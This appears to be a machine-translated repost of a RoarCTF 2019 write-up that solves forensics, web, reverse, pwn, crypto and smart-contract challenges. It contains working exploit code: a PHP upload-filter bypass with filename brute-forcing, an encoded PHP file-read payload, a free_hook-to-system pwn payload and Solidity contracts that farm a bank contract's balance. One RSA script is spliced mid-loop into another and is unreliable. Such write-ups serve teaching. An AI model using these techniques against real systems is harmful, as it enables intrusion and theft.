Make way upstairs, RoarCTF2019 Writeup

Keywords: PHP Windows ascii SHA1

The author's original Qftm release: https://xz.aliyun.com/t/6576

Misc

Sign in problem

RoarCTF {check in!!! }

Six years of gold

There is a section of base64 at the end of the file, which can be seen as a compressed package when decoded to hexadecimal.

Password required to open compressed package

Frame with pr

It can be seen that there are two-dimensional codes in some frames, and key iwantplay CTF can be obtained by scanning the codes in turn.

forensic

Directly up volatile

It is recommended to use Win7SP1x86 for profile.

View process

volatility -f mem.raw pslist --profile=Win7SP1x86

You can see the following notable processes:

Dump.exe is a memory image extraction tool.

TrueCrypt.exe is a disk encryption tool.

Notepad.exe the notepad that comes with windows.

Mspaint,exe windows comes with drawing tool.

By looking at userassist, you can see that notepad mspaint has no data in memory when it extracts memory. By viewing the files in the user's Home directory, you can find that there is a picture file saved by the user.

volatility -f mem.raw --profile=Win7SP1x86 filescan|grep -v Temporary |grep -v .dll|grep -E 'png|jpg|gif|zip|rar|7z|pdf'

dump the picture

You can also find that dump.exe is on the desktop by viewing the desktop file. The default file generated by dump.exe is {hash}.raw, and the default save path is the path where dump.exe is located.

Try to dump the raw image at 0x000000001fca1130. It is found that there is no data in the file, so it is judged that dump.exe is still running at the time of forensics, and the memory image of dump.exe is under dump.

Analysis of memory image of dump.exe

Guess the password is the distorted text in that picture.

It has to be said that there are several positions that are difficult to recognize, such as the first character is the number 1 or the letter l or the letter I, those with the same length of case are upper case or lower case, and the middle one is y or g. Direct mask burst

ThankGame

Decompile with dnspy, key code:

public static void WinGame()
  {
      if (!winGame && ((nDestroyNum == 4) || (nDestroyNum == 5)))
      {
          string str = "clearlove9";
          for (int i = 0; i < 0x15; i++)
          {
              for (int j = 0; j < 0x11; j++)
              {
                  str = str + MapState[i, j].ToString();
              }
          }
          if (Sha1(str) == "3F649F708AAFA7A0A94138DC3022F6EA611E8D01")
          {
              FlagText._instance.gameObject.SetActive(true);
              FlagText.str = "RoarCTF{wm-" + Md5(str) + "}";
              winGame = true;
          }
      }
  }

  public static string Md5(string str)
  {
      byte[] bytes = Encoding.UTF8.GetBytes(str);
      byte[] buffer2 = MD5.Create().ComputeHash(bytes);
      StringBuilder builder = new StringBuilder();
      foreach (byte num in buffer2)
      {
          builder.Append(num.ToString("X2"));
      }
      return builder.ToString().Substring(0, 10);
  }

  private void OnTriggerEnter2D(Collider2D collision)
  {
      int x = (int) collision.gameObject.transform.position.x;
      int y = (int) collision.gameObject.transform.position.y;
      switch (collision.tag)
      {
          case "Tank":
              if (!this.isPlayerBullect)
              {
                  collision.SendMessage("Die");
                  UnityEngine.Object.Destroy(base.gameObject);
              }
              break;
          case "Heart":
              MapManager.MapState[x + 10, y + 8] = 9;
              MapManager.nDestroyNum++;
              collision.SendMessage("Die");
              UnityEngine.Object.Destroy(base.gameObject);
              break;

          case "Enemy":
              if (this.isPlayerBullect)
              {
                  collision.SendMessage("Die");
                  UnityEngine.Object.Destroy(base.gameObject);
              }
              break;
          case "Wall":
              MapManager.MapState[x + 10, y + 8] = 8;
              MapManager.nDestroyNum++;
              UnityEngine.Object.Destroy(collision.gameObject);
              UnityEngine.Object.Destroy(base.gameObject);
              break;

          case "Barrier":
              if (this.isPlayerBullect)
              {
                  collision.SendMessage("PlayAudio");
              }
              UnityEngine.Object.Destroy(base.gameObject);
              break;
      }
  }

Wall 1 is replaced by 8, home 0 is replaced by 9, 66 variables, and 4 or 5 positions need to be changed. First, burst 66 * 65 * 64 * 63 to get the first 10 bytes of md5 and get the flag. The details are shown in the figure below:

Web

simple_upload

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
   public function index()
  {
       show_source(__FILE__);
  }
   public function upload()
  {
       $uploadFile = $_FILES['file'] ;
       
       if (strstr(strtolower($uploadFile['name']), ".php") ) {
           return false;
      }
       
       $upload = new \Think\Upload();// Instantiate upload class
       $upload->maxSize  = 4096 ;// Set attachment upload size
       $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// Set attachment upload type
       $upload->rootPath = './Public/Uploads/';// Set attachment upload directory
       $upload->savePath = '';// Set attachment upload subdirectory
       $info = $upload->upload() ;
       if(!$info) {// Upload error message
         $this->error($upload->getError());
         return;
      }else{// Upload succeeded in obtaining the uploaded file information
         $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
         echo json_encode(array("url"=>$url,"success"=>1));
      }
  }
} 

ThinkPHP uploads file names incrementally by default. The suffix filtering of ThinkPHP in the code is invalid, so we can bypass the judgment of. php suffix by uploading multiple files, but we can't get the uploaded file name, so we need to explode. The specific steps are as follows:

1. Write a script to upload a normal file, upload multiple files, and upload a normal file. Get the file name of the first three uploads.

import requests
url = "http://lo408dybroarctf.4hou.com.cn:34422/index.php/Home/Index/upload"

files1 = {'file': open('ma.txt','r')}
files2 = {'file[]': open('ma.php','r')}

r = requests.post(url,files=files1)
print(r.text)

r = requests.post(url,files=files2)
print(r.text)

r = requests.post(url,files=files1)
print(r.text)

2. Multithread all filenames between the first three filenames.

This is the first script written for single thread blasting. Later, I felt too tired, so I took the open-source scanner dirfuzz and changed it to a multi-threaded version. Finally, the multi thread blasting is successful.

import requests

#{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bb3645.txt","success":1}
#{"url":"\/Public\/Uploads\/","success":1}
#{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bd6f0a.txt","success":1}


s = "1234567890abcdef"
for i in s:
for j in s:
for k in s:
for l in s:
url = "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5da1b52bc%s%s%s%s.php"%(i,j,k,l)
r = requests.get(url)
# print(url)
if r.status_code != 404:
print(url)
break
#[+]{"url": "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5da1b52bc7471.php", "status_code": 200, "data": "RoarCTF{wm-22522494528d3de9}\n"}

Burst to php file, you can read the flag directly. It is estimated that the organizer has a script running to change the php file in the background.

easy_calc

The first thing to find out is a calculator.

This question is a modified version of love_math of the national championship. Without the length limit, payload s cannot contain characters such as', '\ t', '\r', '\n', '', '', '' ',' [']'. The difference is that the website adds waf and needs to bypass waf. First of all, we need to bypass waf. When we submit some characters, we will directly 403. After testing, we find that there is an http smuggling vulnerability in the server, which can be used to bypass waf. For details, see https://paper.seebug.org/1048./

Because some characters are forbidden, we can't get flag directly and continue to analyze the payload structure.

Here we use several php math functions.

First of all, we need to construct the payload of the column directory. We must use the scandir function to try to construct the files under the root directory. Scandir can be constructed with the base convert function, but the use of base convert can only solve the utilization of a~z. because the root directory needs / symbol and is not a~z, it needs the hex2bin(dechex(47)) construction method. The dechex() function converts the decimal number to the hexadecimal number. The hex2bin() function converts a string of hexadecimal values to ASCII characters.

Construct read flag, use readfile function, paload: base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36)), the method is similar

easy_java

In this way, the first thought is to download any file, but in the beginning, nothing can be downloaded by GET mode, even the pictures of the directory determined by the website can not be downloaded. Later it was changed to post, ok...

Try to read WEB-INF/web.xml to find the key file location of the operation flag

Decode base64 in the figure, that is, flag.

Re

polyre

Using deflat.py to remove control flow flattening, the encryption algorithm is roughly as follows: input 48, divide 6 groups equally, convert 8 bytes of each group into long type value, encrypt each group, first judge positive and negative, then multiply the value by 2, then cycle 64 times according to positive and negative difference or 0xB0004B7679FA26B3, and finally compare; write inversion operation according to this logic, see dep for inversion operation. Oly.py

origin = [0xbc8ff26d43536296,
          0x520100780530ee16,
          0x4dc0b5ea935f08ec,
          0x342b90afd853f450,
          0x8b250ebcaa2c3681,
          0x55759f81a2c68ae4]
key = 0xB0004B7679FA26B3
data = ""

for value in origin:
    for i in range(0, 64):
        tail = value & 1
        if tail == 1:
            value = value ^ key
        value = value // 2
        if tail == 1:
            value = value | 0x8000000000000000
        #print(hex(value))
    # end for
    print(hex(value))
    j = 0
    while (j < 8):
        data += chr(value & 0xFF)
        value = value >> 8
        j += 1
    # end while
#end for
print(data)

Pwn

ez_op

payload:

#!/usr/bin/env python3
# -*- coding=utf-8 -*-

from pwn import *

system_addr = 0x08051C60
hook_free = 0x080E09F0

# opcdoe
opcode = ""

# get stack_addr
opcode += """\
push 5
stack_load\
"""

# sub hook_free
opcode += f"""\
push {hook_free}
sub\ 
"""

# value / 4 + 1
opcode += """\
push 4
div
push 1
add\
"""

# *hook_free = system_addr
opcode += f"""\
push {system_addr}
stack_set\
"""
opcode = f"""\
push {0x6e69622f}
push {0x68732f}
push {system_addr}
push 1
push 4
push 64
stack_load
push {hook_free}
sub
div
sub
stack_set\
"""
OPCODET = {
  "push": 0x2a3d,
  "add": 0,
  "sub": 0x11111,
  "div": 0x514,
  "stack_set": 0x10101010,
  "stack_load": -1
}
opcode_list = opcode.split("\n")
op_result = []
num_result = []
for op in opcode_list:
  tmp = op.split(" ")
  assert tmp[0] in OPCODET
  op_result.append(str(OPCODET[tmp[0]]))
  if len(tmp) == 2:
      num_result.append(str(tmp[1]))

result_op = " ".join(op_result)
result_num = " ".join(num_result)

print(result_op)
print(result_num)

Crypto

babyrsa

A mathematical conclusion: for a prime number P, the factorial of (p-1) plus (p-2) is equal to the factorial of (p-2), which can be divided by P, and the factorial of (p-1) can be divided by P (because the factorial of P can be divided by P), which is:

(p-1)!+(p-2)!=p*(p-2)  
(p-1)!=p*(p-1)
(p-2)! % p=1

The decryption script is as follows:

import sympy
from Crypto.Util.number import long_to_bytes
def egcd(a,b):
    if a==0:
        return (b,0,1)
    else:
        g,y,x=egcd(b%a,a)
        return (g,x-(b//a)*y,y)
def modinv(a,m):
    g,x,y=egcd(a,m)
    if g!=1:
        raise Exception(" error")
    else:
        return x%m
a1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407
b1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596
a2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927
b2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026
n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733
c=75700883021669577739329316795450706204502635802310731477156998834710820770245219468703245302009998932067080383977560299708060476222089630209972629755965140317526034680452483360917378812244365884527186056341888615564335560765053550155758362271622330017433403027261127561225585912484777829588501213961110690451987625502701331485141639684356427316905122995759825241133872734362716041819819948645662803292418802204430874521342108413623635150475963121220095236776428
p=1
q=1
i=1
l=0
for i in range(b1+1,a1-1):
    p *= modinv(i,a1)
    p %=a1
p=sympy.nextprime(p)
print "p="
print p
for i in range(b2+1,a2-1):
    q *=modinv(i,a2)
    q %=a2
q=sympy.nextprime(q)
print "q="
print q
r=n/q/p
print "r="
print r
fn=(p-1)*(q-1)*(r-1)
print "fn="
print fn
e=4097
d=modinv(e,fn)
print "d="
print d
m=pow(c,d,n)
print "m="
print m
print long_to_bytes(m)

Block chain 1

When doing the problem, I found that someone had already done it, and then I looked it as the transaction record of the person who did it. I found that it was collecting wool. I copied one of the records of the person who did it in reverse. The payload contract is as follows:

/**
*Submitted for verification at Etherscan.io on 2019-10-08
*/

pragma solidity ^0.4.24;

contract P_Bank
{
  mapping (address => uint) public balances;
   
  uint public MinDeposit = 0.1 ether;
   
  Log TransferLog;
  event FLAG(string b64email, string slogan);
  constructor(address _log) public { 
      TransferLog = Log(_log);
    }
  function Ap() public {
      if(balances[msg.sender] == 0) {
          balances[msg.sender]+=1 ether;
      }
  }
  function Transfer(address to, uint val) public {
      if(val > balances[msg.sender]) {
          revert();
      }
      balances[to]+=val;
      balances[msg.sender]-=val;
  }
  function CaptureTheFlag(string b64email) public returns(bool){
    require (balances[msg.sender] > 500 ether);
    emit FLAG(b64email, "Congratulations to capture the flag!");
  }
  function Deposit()
  public
  payable
  {
      if(msg.value > MinDeposit)
      {
          balances[msg.sender]+= msg.value;
          TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
      }
  }
   
  function CashOut(uint _am) public 
  {
      if(_am<=balances[msg.sender])
      {
           
          if(msg.sender.call.value(_am)())
          {
              balances[msg.sender]-=_am;
              TransferLog.AddMessage(msg.sender,_am,"CashOut");
          }
      }
  }
   
  function() public payable{}    
   
}

contract Log 
{
  
  struct Message
  {
      address Sender;
      string Data;
      uint Val;
      uint Time;
  }
  string err = "CashOut";
  Message[] public History;
  Message LastMsg;
  function AddMessage(address _adr,uint _val,string _data)
  public
  {
      LastMsg.Sender = _adr;
      LastMsg.Time = now;
      LastMsg.Val = _val;
      LastMsg.Data = _data;
      History.push(LastMsg);
  }
}
contract FatherOwned {
  address owner;
  modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
}
contract Attack
{
  address owner;
  P_Bank target;
  constructor(address my) public { 
      owner = my;
      target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21);
      target.Ap();
      target.Transfer(owner, 1 ether);
      selfdestruct(owner);
    }
}
contract Deploy is FatherOwned
{
  constructor() public { 
      owner = msg.sender;
    }
    function getflag() public onlyOwner {
        P_Bank target;
        target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21);
        target.CaptureTheFlag("baiyjrh@gmail.com");
    }
    function ffhhhhhhtest1() public onlyOwner {
    uint i;
    for (i=0; i<10; i++){
        new Attack(owner);
    }
    }
    function ffhhhhhhtest2() public onlyOwner {
    uint i;
    for (i=0; i<30; i++){
        new Attack(owner);
         
    }
  }
    function ffhhhhhhtest3() public onlyOwner {
    uint i;
    for (i=0; i<50; i++){
        new Attack(owner);
    }
  }
  function ffhhhhhhtest4() public onlyOwner {
    uint i;
    for (i=0; i<70; i++){
        new Attack(owner);
         
    }
  }
}

Smart contract 2

The source code given is different from the actual one. After looking at the transaction of the person made before, we find a function: 0x5ad0ae39.

Reverse to get the approximate Code:

func 0x5ad0ae39(address1, address2, uint, address3)
  require(allowance[address1][msg.sender] >= uint)
  require(address3 == msg.sender + 0x32c3edb)
  balanceOf[address1] -= _value;
  balanceOf[address2] += _value;
  allowance[address1][msg.sender] -= _value;
//Then there is a function in sol of standard token:
function approve(address _spender, uint256 _value) public returns (bool) {
  allowed[msg.sender][_spender] = _value;
  Approval(msg.sender, _spender, _value);
  return true;
}

Use the approve function to assign a value to allowance[msg.sender][msg.sender], any value greater than 1000.

And then call 0x5ad0ae39, here is the egg pain, because not blasting this function name, can not directly use remix to do the problem, no way to write code.

The process is as follows:

rsa

According to the title document:

A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
p=next_prime(z*x*y)
q=next_prime(z)
n=p*q

The direct blow up of equation A gives x*y=166. (one is 2 and the other is 83. I'm too lazy to rewrite the script. It's very popular.)

Then you can get it.

p=next_prime(z*166)
q=next_prime(z)

It can be inferred that the values of N and zz166 are relatively close. According to the next ﹣ prime, it can be inferred that the value of sqrt(n/166) is very close to one of p and q, just blow up.

py2 :

import sympy
import gmpy2
n=117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
#m is the open root of n/166, which is close to one of p q.
m=sympy.nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029)
m2=842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029*166
k=m
p=0
q=0
while (m>10000):
    if(n%m==0):
        #print (m) A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
//According to the equation, x and y can be calculated directly
a=2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432382128960881487463427414176114486885830693959404989743229103516924432512724195654425703453612710310587164417035878308390676612592848750287387318129424195208623440294647817367740878211949147526287091298307480502897462279102572556822231669438279317474828479089719046386411971105448723910594710418093977044179949800373224354729179833393219827789389078869290217569511230868967647963089430594258815146362187250855166897553056073744582946148472068334167445499314471518357535261186318756327890016183228412253724
x=1
y=1
n=0
c=0
d=0
for x in range(1,100):
   for y in range(2,100):
       c=(y+1)/x
       d=x%y
       if(d!=0):
           n=(((y%x)**5)%d)**2019+y**316+c
       if(n==a):
            print (x)
            print (y)

It can be concluded that x=2 y=83

p=next_prime(zxy)

q=next_prime(z)

n=q*p

So we can guess that the values of N and (zxy) z are very close, that is to say, N and z^2166 are very close, so sqrt(n/166) and q are very close. So look for prime near sqrt(n/166).

E is unknown, but the value range of E is relatively small. It can be directly guessed or exploded. The result shows that e is 65537.

Declassified script

import sympy
import math
import binascii
from Crypto.Util.number import long_to_bytes
n=117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
#m is the approximate value of sqrt(n/166)
m=sympy.nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029)
c=86974685960185109994565885227776590430584975317324687072143606337834618757975096133503732246558545817823508491829181296701578862445122140544748432956862934052663959903364809344666885925501943806009045214347928716791730159539675944914294533623047609564608561054087106518420308176681346465904692545308790901579479104745664756811301111441543090132246542129700485721093162972711529510721321996972649182594310700996042178757282311887765329548031672904349916667094862779984235732091664623511790424370705655016549911752412395937963400908229932716593592702387850259325784109798223415344586624970470351548381110529919234353
p=0
q=0
#Find q or p near m
while(m>100):
    if(n%m==0):
        p=m
        print "p="
        print p
        q=n/p
        print "q=" 
        print q
        break
    m=sympy.nextprime(m)
def egcd(a,b):
    if a==0:
        return (b,0,1)
    else:
        g,y,x=egcd(b%a,a)
        return (g,x-(b//a)*y,y)
def modinv(a,m):
    g,x,y=egcd(a,m)
    if g!=1:
        raise Exception(" error")
    else:
        return x%m
e=1
d=0
#Blasting e
while(e<100000):
    #try:
    #e=sympy.nextprime(e)
    e=65537 #The last successful e
    d=modinv(e,(p-1)*(q-1))
    m=pow(c,d,n)
    print long_to_bytes(m)
    m_hex = hex(m)[2:]
   # try:    
    print m_hex
    print("ascii:\n%s"%(binascii.a2b_hex(m_hex).decode("utf8"),))
   # except:
    #    if(e%10000==0):
     #       print e

Posted by cbesh2 on Sat, 26 Oct 2019 21:44:16 -0700